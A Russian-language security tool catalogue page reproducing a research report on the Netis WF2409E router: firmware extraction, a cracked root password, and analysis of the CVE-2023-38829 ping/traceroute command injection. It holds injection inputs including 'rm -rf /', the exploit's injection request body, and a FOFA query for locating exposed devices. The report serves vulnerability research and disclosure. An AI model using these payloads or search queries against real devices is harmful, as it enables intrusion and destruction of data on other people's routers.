Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-38829-NETIS-WF2409E_Report — Полное исследование аппаратной безопасности маршрутизатора NETIS WF2409E. В ходе работы были выполнены разборка устройства, идентификация отладочных интерфейсов, извлечение прошивки и т.д. Задокументирован полный процесс аппаратного анализа, детали уязвимостей и соответствующие рекомендации по безопасности, направленные на повышение безопасности устройств Интернета вещей. | Kitploit
Инструменты/GitHubGitHub/victorique-123/cve-2023-38829-netis-wf2409e_report
Безопасность встроенных системБезопасность IoTАнализ уязвимостейОбратная инженерияАппаратный ХакингАппаратная БезопасностьСтатьи и ИсследованияОбучение и ОбразованиеАнализ Прошивок

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubvictorique-123/cve-2023-38829-netis-wf2409e_report

CVE-2023-38829-NETIS-WF2409E_Report

Репозиторий
21 год назадЕщё не проверено

Описание

Полное исследование аппаратной безопасности маршрутизатора NETIS WF2409E. В ходе работы были выполнены разборка устройства, идентификация отладочных интерфейсов, извлечение прошивки и т.д. Задокументирован полный процесс аппаратного анализа, детали уязвимостей и соответствующие рекомендации по безопасности, направленные на повышение безопасности устройств Интернета вещей.

Поделиться

Отчет устройства Netis WF2409E

1. Обзор устройства

1.1 Таблица основных характеристик

КатегорияПараметрОписание
Информация об устройствеМодельNetis WF2409E
Тип300Mbps Wireless N Router
ПитаниеDC 9V/500mA
Версия оборудованияV1.8
Версия PCBPB-7189-M02G-20
Дата производства2015-03-23
Страна производстваКитай
Сетевые идентификаторыСерийный номер2409EEU5B102714 V1.8
MAC-адресW8D398DFB68
SSID по умолчаниюnetis_BDFB68
Пароль по умолчаниюpassword
Адрес управленияhttp://netis.cc
Аппаратные интерфейсыWAN-порт1 (синий RJ45)
LAN-порты4 (черные RJ45, LAN1-4)
Антенны3 внешние антенны
Разъем питанияDC вход (PWR)
Функциональные кнопкиDefaultСброс к заводским настройкам
WPSЗащищенная настройка WiFi

1.2 Таблица проверки работоспособности

1.3 Основные компоненты системы

2. Исследование контактов

2.1 Подключение к устройству через последовательный порт

3. Лог загрузки, команды загрузчика и ОС

3.1 Анализ лога загрузки

Характеристики процессора

ПараметрСпецификация
Модель процессораRealTek RTL8196E
Архитектура16-bit
Тактовая частота380MHz
Дата компиляции2014.09.29

Характеристики Flash-памяти

Информация о загрузчике

ПараметрОписание
Тип загрузчикаПроприетарный загрузчик RealTek
Адрес загрузки ядра0x80500000
Начальный адрес выполнения0x80003440
Диапазон поиска подписи0x10000-0x170000

Сетевые настройки по умолчанию

ПараметрЗначение
IP-адрес192.168.0.1
Маска подсети255.255.255.0
MAC-адрес04:8d:38:bd:fb:69
Беспроводной интерфейсwlan0 (включая va0-va3, vxd)

Информация о системном ПО

ПараметрЗначение
Модель устройстваnetis WF2419E_RU
Версия прошивкиV2.5.40200
Дата прошивки2016.09.02
Версия BusyBoxv1.00-pre8 (2015.01.23)

Состояние служб

Важно отметить, что это устройство, вероятно, не использует U-Boot. Ключевые признаки:

  1. Журнал начинается непосредственно с информации о загрузке RealTek: ---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
  2. Отсутствуют типичные признаки загрузки U-Boot:
  • Нет информации о версии U-Boot
  • Нет информации об инициализации переменных окружения U-Boot
  • Нет приглашения командной строки U-Boot
  1. RTL8196E - это бюджетный маршрутизаторный чип от RealTek, многие устройства на его основе используют собственный загрузчик RealTek вместо U-Boot.
  2. Учитывая малый объем Flash-памяти (4MB), использование облегченного загрузчика более логично. Фактически не удалось найти способ входа в U-boot.

3.2 Анализ загрузчика

Для входа в загрузчик необходимо удерживать клавишу Esc во время загрузки:

Полный набор команд загрузчика RealTek

Пример чтения памяти:

Команды Bootloader :

<RealTek> FLR 80000000 0 100 #Чтение из Flash DB 80000000 100 #Просмотр содержимого памяти

3.3 Анализ Shell-среды

Основные команды Shell

Подробная структура системных каталогов (/bin — важные инструменты)

Ключевая информация каталога /proc

Список процессов:

3.4 Описание основных аппаратных компонентов

4. Анализ информации о точках монтирования

4.1 Получение информации о монтировании разделов

4.2 В системе определено три основных точки монтирования:

  • /dev/mtdblock1 смонтирован как корневой каталог /
  • none смонтирован как файловая система процессов /proc
  • tmpfs смонтирован как временная файловая система /var

Детальный анализ

4.2.1. Корневая файловая система

Корневая файловая система настроена следующим образом:

  • Устройство: /dev/mtdblock1
  • Тип файловой системы: squashfs
  • Опции монтирования: только для чтения (ro)
  • Назначение: хранение системных файлов и программ

Это указывает на использование MTD флэш-памяти в качестве носителя, при этом файлы системы защищены и оптимизированы по объему с помощью только чтения и компрессии squashfs.

4.2.2 Файловая система процессов

Файловая система процессов настроена следующим образом:

  • Устройство: none (виртуальная файловая система)
  • Тип файловой системы: proc
  • Опции монтирования: чтение-запись (rw)
  • Назначение: предоставление интерфейса для доступа к информации системы и процессов
4.2.3 Временная файловая система

Временная файловая система настроена следующим образом:

  • Устройство: tmpfs (файловая система в памяти)
  • Точка монтирования: /var
  • Ограничение по размеру: 230 КБ
  • Опции монтирования: чтение-запись (rw)
  • Назначение: хранение временных файлов и данных во время работы
4.2.4 Обнаружено, что большинство команд в системе отсутствует

5. Структура и формат прошивки

5.1 Получение ВПО "netis.bin"

5.2 Проведения энтропийного анализа:

binwalk -E --save netis.bin

5.3 Анализ заголовков:

binwalk netis.bin

5.4 Для выполнения распаковки используются аргументы –reM.

И получить:

5.5 Таблица результатов анализа

СмещениеЗаголовок раздела
0x12F0
0x32818

6. Файловая система после распаковки прошивки

6.1 Файловая система после распаковки:

6.2 Некоторые важные документы

6.2.1 etc/passwd:

Используя сервис дешифрования хэшей https://hashes.com/en/decrypt/hash, пароль root был успешно восстановлен как realtek.

6.2.2 web/welcome.htm:

Это страница веб-интерфейса по умолчанию

7. Маркеры, фингерпринт для FOFA, статистика

Поиск устройств в FOFA через характеристики в web/welcome.htm:

Команды поиска: body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

Для доступа к административной панели устройства может потребоваться аутентификация с помощью логина и пароля

После успешной аутентификации можно войти в административную панель

8. Скрипт идентификации

Сначала с помощью команды ~/squashfs-root/web$ find были найдены доступные директории, и с помощью Burpsuit была проверена их доступность:

Потенциальные места нахождения информации:

После проверки, мы можем найти в файле ==/version.txt== следующую информацию:

  • Версию прошивки (firmware version)
  • Дату сборки (build date)
  • Информацию о сервере Boa (получена из поля Server в HTTP-заголовке ответа)

Извлечение этой информации было реализовано с помощью Python-скрипта:

9. Список уязвимостей с CVSS

9.1 Список уязвимостей

В настоящее время в данном устройстве обнаружены следующие уязвимости, среди которых уязвимость CVE-2023-38829 представляет собой уязвимость внедрения команд, существующую в модуле сетевого тестирования маршрутизатора NETIS SYSTEMS Router WF2409E в функциях ping и traceroute. Через веб-интерфейс управления можно внедрять вредоносные команды в параметры этих функций, что приводит к выполнению команд.

9.2 Проверка уязвимости

Чтобы проверить наличие этой уязвимости, я вошел в панель управления маршрутизатора и протестировал уязвимость в функциях ping и traceroute. Здесь я внедрил команду cd && ls && cd etc/ && cat passwd, которая вывела содержимое файла паролей.

Ниже представлен вывод панели управления маршрутизатора при внедрении команды, что подтверждает наличие уязвимости.

9.3 Оценка уязвимости по системе CVSS

Анализ CVSS 3.1 обнаруженных уязвимостей инъекции команд:

  1. Оценка базовых показателей:

    • Вектор атаки (AV): Сетевой (N), так как возможна удаленная эксплуатация
    • Сложность атаки (AC): Низкая (L), так как требуется только отправка HTTP-запроса
    • Необходимые привилегии (PR): Низкие (L), требуются базовые права пользователя (аутентификация в административном интерфейсе устройства)
    • Взаимодействие с пользователем (UI): Отсутствует (N), не требуется действий пользователя
    • Область воздействия (S): Измененная (C), может влиять на другие устройства, подключенные к маршрутизатору
  2. Показатели воздействия:

    • Влияние на конфиденциальность (C): Высокое (H), возможно получение полного доступа к системе
    • Влияние на целостность (I): Высокое (H), возможно изменение любых системных файлов
    • Влияние на доступность (A): Высокое (H), возможно влияние на работу устройства

  1. Временные метрики оценки:
    • Зрелость эксплойта (E): Существует функциональный эксплойт (F)
    • Уровень исправления (RL): Официальное исправление (O)
    • Достоверность отчета (RC): Подтверждено (C)

Итоговая оценка: 9.2/10 баллов , что относится к категории "критическая". CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Такая высокая оценка уязвимости обусловлена следующими причинами:

  • Возможность удаленной эксплуатации без специальных условий
  • Возможность получения прав root без аутентификации
  • Полное влияние на безопасность системы
  • Простота эксплуатации уязвимости

10. Анализ слабой уязвимости (BO или CI)

Давайте сначала найдём файлы, где могут быть уязвимости: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

Я предполагаю, что уязвимости могут проявляться в CGI программах, поэтому для начала попробую проанализировать файл ./web/cgi-bin/cgitest.cgi с помощью IDA Pro.

Сначала нужно найти места вызова похожих функций, через поиск удалось найти строку "killall ping". При анализе места вызова можно увидеть, что программа после инициализации функций ping и traceroute вызывает /bin/network_test.sh

А место, где находится уязвимость, как раз в модуле тестирования сети. Хорошо, нам нужно проанализировать /bin/network_test.sh.

Анализ network_test.sh

Вначале необходимо выполнить поиск.

Находим функцию network_test_sh: ......

При детальном анализе функции можно обнаружить модули выполнения команд и сохранения результатов.

В них: Выполнение команды ping: ping -c %d -s %d %s -W %d > %s &

  • Параметры ping:
    • -c: количество пингов
    • -s: размер пакета данных (минус 8 байт)
    • -W: время ожидания
    • целевой IP адрес из конфигурации

Выполнение команды traceroute: traceroute -I -m %d %s > %s &

  • Параметры traceroute:
    • -I: использование протокола ICMP
    • -m: максимальное количество прыжков
    • целевой IP адрес из конфигурации

Детальный анализ уязвимости

root@kitploit:~
# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var\_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var\_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
root@kitploit:~
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
root@kitploit:~
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

В коде отсутствует достаточная проверка входных параметров, что создает потенциальный риск инъекции команд. Злоумышленник может управлять передаваемым IP-параметром для выполнения shell-команд, например:

root@kitploit:~
# Нормальный ввод 192.168.0.1

# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд

11. Скрипт эксплуатации

11.1. Обзор скрипта

Этот скрипт использует уязвимость инъекции команд в веб-интерфейсе устройства для удаленного выполнения команд путем создания специальных HTTP-запросов. Скрипт выполняет эксплуатацию уязвимости с помощью двух HTTP POST запросов: первый запрос внедряет команду, второй - получает результат выполнения.

Первый пакет (netcore_set.cgi) предназначен для: внедрения и выполнения команды

Второй пакет (netcore_get.cgi) предназначен для: получения результата выполнения команды

11.2 Первый этап: инъекция команды

  1. Формирование тела POST-запроса со следующими ключевыми параметрами:
root@kitploit:~
{ "mode_name": "netcore_set", 
	 "tools_type": "2", 
	 "tools_ip_url": f"| {command}", # точка инъекции команды 
	 "tools_cmd": "1", 
	 "net_tools_set": "1" }
  1. URL-кодирование всех параметров
  2. Отправка POST-запроса на netcore_set.cgi

11.3 Второй Этап: получение результатов

  1. Формирование второго POST-запроса:
root@kitploit:~
	{ "mode_name": "netcore_get",    
	  "noneed": "noneed" }
  1. Отправка запроса на netcore_get.cgi
  2. Парсинг поля tools_results в ответе для получения результата выполнения команды

11.4 Тестирование скриптов

Для тестирования скрипта я создал файл ceshi на хосте и попытался загрузить его на устройство через скрипт

Успешно!

Фактически эта уязвимость позволяет получить полный контроль над устройством, так как устройство по умолчанию использует root-доступ

Скачать инструмент
Проверяемый параметрСостояниеПримечание
Индикатор питанияИсправенСтабильно горит при включении
Сетевые индикаторыИсправныМигают при подключении
Состояние WAN-портаИсправенНормальное подключение к сети
Состояние LAN-портовИсправныВсе 4 порта работают
Функция WiFiИсправнаАнтенны целы, сигнал нормальный
Функция WPSИсправнаКнопка реагирует
Функция сбросаИсправнаКнопка Default работает
№Модель чипаПроизводительОсновная функцияТехнические характеристикиПримечания
1EM63A165TS-6GEtronTechСистемная память- Объем 32 Мбит
- Частота 166МГц
- Архитектура SDRAM
- Корпус TSOP-II
- Используется для временного хранения данных
- Поддерживает вычисления основного процессора
2FR9886 61504НеизвестенУправление питанием- Корпус SOIC-8
- Интегральная схема
- DC-DC
- Отвечает за регулировку напряжения
- Обеспечивает стабильное питание системы
3RTL8196ERealtek/RMCОсновной процессор- Архитектура MIPS
- Дизайн SoC
- Произведено в Тайване
- Центральный процессор системы
- Отвечает за основные вычисления и управление
- Интегрированная обработка сети
4MX25L3206EMacronixFlash-память- Объём 32Mb (4MB)
- Интерфейс SPI
- Корпус SOIC
- Хранение системной прошивки
- Сохранение конфигурационных данных
5RTL8192ERRealtek/RMCБеспроводная связь- WiFi контроллер
- Корпус QFN
- Обработка беспроводных сигналов
- Поддержка функций WiFi
ПараметрЗначениеШестнадцатеричное значение
Модель чипаMX25L3205D-
Общий объем4MB0x400000
Размер блока64KB0x10000
Размер сектора4KB0x1000
Размер страницы256B0x100
Название службыСтатусПримечание
DHCP-серверРаботаетНормально
HTTP-сервер (Boa)РаботаетАномальные перезагрузки
IAPPРаботаетIEEE 802.11f
MiniIGDРаботаетv1.08.1
mini_upnpdОшибкаФайл не найден
telnetdОшибкаФайл не найден
ota_init.shОшибкаФайл не найден
КомандаСинтаксисФункция
HELP?Показать справку
DB/DWDB/DW <адрес> <длина>Чтение памяти побайтно/пословно
EB/EWEB/EW <адрес> <значение>Запись в память побайтно/пословно
FLRFLR Чтение данных из Flash в RAM
FLWFLW <dst_ROM><src_RAM>Запись данных из RAM во Flash
IPCONFIGIPCONFIG <IP-адрес>Настройка IP-адреса
LOADADDRLOADADDR <адрес>Установка адреса загрузки
CMPCMP Сравнение данных в памяти
JJ <адрес>Переход к исполнению
MDIOR/MDIOWMDIOR/W [data]Чтение/запись регистров PHY
PHYR/PHYWPHYR/W [data]Чтение/запись регистров PHY (альтернативный метод)
PORT1PORT1Тест патча порта 1
AUTOBURNAUTOBURN 0/1Управление автоматической прошивкой
Тип командыДоступные команды
Базовые команды., :, cd, help, exit
Управление выполнениемbreak, continue, eval, exec
Операции с переменнымиexport, read, readonly, set, shift
Управление процессамиtimes, trap, wait
Управление правамиlogin, newgrp, umask
КатегорияИнструментыФункция
Сетевые инструментыiptables ip6tables brctl ifconfigКонфигурация брандмауэра, IPv6-брандмауэр, управление мостами, настройка сетевых интерфейсов
Системное управлениеbusybox ps kill mountНабор основных инструментов, просмотр процессов, управление процессами, монтирование файловой системы
VPN-связьpppd pptp l2tpd pptpctrlДемон PPP, PPTP-клиент, демон L2TP, управление PPTP
Управление беспроводной связьюiwcontrol iwpriv wlanapp.sh wps_init.shКонтроль беспроводной связи, приватные команды беспроводной связи, управление беспроводными приложениями, инициализация WPS
Скрипты брандмауэраfirewall.sh firewall_ipv6.sh firewall_pptp.shОсновной брандмауэр, IPv6-брандмауэр, PPTP-брандмауэр
DHCP/DNSdhcpc.sh dhcpd.sh dnrdDHCP-клиент, DHCP-сервер, DNS-пересылка
Веб-сервисboa webs cgitest.cgiВеб-сервер, веб-управление, тест CGI
ПутьТип информацииОписание
/proc/cpuinfoИнформация о CPUПодробная информация о процессоре
/proc/meminfoИнформация о памятиСостояние использования системной памяти
/proc/mtdИнформация о разделахРазделение памяти Flash
/proc/net/*Сетевая информацияСостояние сетевых интерфейсов и подключений
/proc/sys/*Параметры системыРегулируемые параметры системы
/proc/versionИнформация о версииИнформация о версии ядра
КомпонентОписаниеТехнические характеристики
RTL8196EОсновной процессор- Архитектура MIPS
- Дизайн SoC
- Производство в Тайване
- Центральный процессор системы
- Отвечает за основные вычисления и управление
- Встроенные функции сетевой обработки
EM63A165TS-6GСистемная память- Объем 32 Мбит
- Частота 166 МГц
- Архитектура SDRAM
- Корпус TSOP-II
- Временное хранение данных системы
- Поддерживает вычисления основного процессора
MX25L3206EФлэш-память- Объем 32 Мбит (4 МБ)
- Интерфейс SPI
- Корпус SOIC
- Хранение прошивки системы
- Сохранение данных конфигурации
RTL8192ERБеспроводная сеть- WiFi контроллер
- Корпус QFN
- Обработка беспроводных сигналов
- Поддержка WiFi
FR9886 61504Управление питанием- Корпус SOIC-8
- Интегральная схема
- DC-DC
- Отвечает за регулировку напряжения
- Обеспечивает стабильное питание системы
ФайлСмещение (десятичное)Смещение (шестнадцатеричное)ОписаниеДополнительная информация
netis.bin48480x12F0Сжатые данные LZMAРазмер словаря: 8388608 байт, размер после распаковки: 56464 байт; требуется анализ содержимого после распаковки
netis.bin2068720x32818Сжатые данные LZMAРазмер словаря: 8388608 байт, размер после распаковки: 3278684 байт; содержит полное ядро Linux 2.6.30
netis.bin15073280x170000Файловая система SquashFSМладший порядок байтов, сжатие gzip, размер: 2628241 байт
0x170000
PayloadCodeLenth
1/cgi-bin200167
2/cgi-bin/cgitest.cgi-ERROR-
3/script200168
4/script/init.js2001282
5/script/logic.js20065677
6/script/menu.js2004976
7/script/netcore.js200151935
8/script/action.js200182624
9/script/debug.js20028570
==10====/version.txt====200====206==
==11====/update.htm====200====1230==
12/config200168
13/config/language_es.js20079333
14/config/language_it.js20076802
15/config/language_id.js20074795
16/config/language_du.js20078782
17/config/language_ma.js20073594
18/config/language_po.js20076458
19/config/language_tu.js20077747
20/config/language_fr.js20078165
21/config/language_ro.js20073621
22/config/language_cz.js20075968
23/config/language_ua.js20098335
24/config/language_us.js20084173
25/config/config.js20075899
26/config/language_ru.js200108998
27/config/language_de.js20078674
28/config/language_pt.js20077954
29/config/language_cn.js20062001
30/config/language_tc.js20074268
31/system_log.txt404330
==32====/index.htm====200====4336==
33/css200167
34/css/style.css2005441
35/css/netcore.css20011536
36/css/welcome.css2006270
37/Config.tgz404326
38/images200168
39/images/first.png200838
40/images/icon_no.gif200240
41/images/top_right_bg.gif200222
42/images/logo_netis.png2007297
43/images/icon_jian.gif200239
44/images/show_pwd.png2001433
45/images/icon_no1.gif200498
46/images/nextt.png2001026
47/images/lastt.png200845
48/images/icon_intro_internet.gif2006994
49/images/help_b1.gif200540
50/images/high.gif20010846
51/images/yandex_en.png2003519
52/images/help_b1.jpg200620
53/images/back.gif200379
54/images/icon_intro_wireless.jpg2003838
55/images/icon_jian1.gif200490
56/images/left_021.jpg200558
57/images/edit.gif200365
58/images/pre.png2001029
59/images/btn_mobile_setup.jpg2003053
60/images/icon_now.gif200242
61/images/top_right_bg.jpg200223
62/images/bg_intro_bottom.png2003562
63/images/favicon.ico2004458
64/images/btn_quick_setup.jpg2004353
65/images/bg_intro_top.png2003605
66/images/mt-link.gif2005823
67/images/link.gif2001045
68/images/del.gif200313
==69====/images/Makefile====200====593==
70/images/icon_jia1.gif200490
71/images/blue.jpg2002584
72/images/normal.gif20010818
73/images/yandex.png2002159
74/images/bg_leftmenu.gif200686
75/images/icon_jia.gif200252
76/images/icon_now1.gif200487
==77====/welcome.htm====200====30155==
==78====/index.html====200====326==
79/help200166
==80====/backup.htm====200====1304==
PayloadCodeLenth
==10====/version.txt====200====206==
==11====/update.htm====200====1230==
==32====/index.htm====200====4336==
==69====/images/Makefile====200====593==
==77====/welcome.htm====200====30155==
==78====/index.html====200====326==
==80====/backup.htm====200====1304==
Номер уязвимостиТип уязвимостиМодельВерсияОтчет/эксплойт
CVE-2023-42336sensitive information disclosureNetiswf2409e_firmware < 1.0.1.705
wf3409e < v4
https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md
CVE-2023-38829remote code executionNetiswf2409e_firmware < 3.6.42541
wf3409e < -
https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E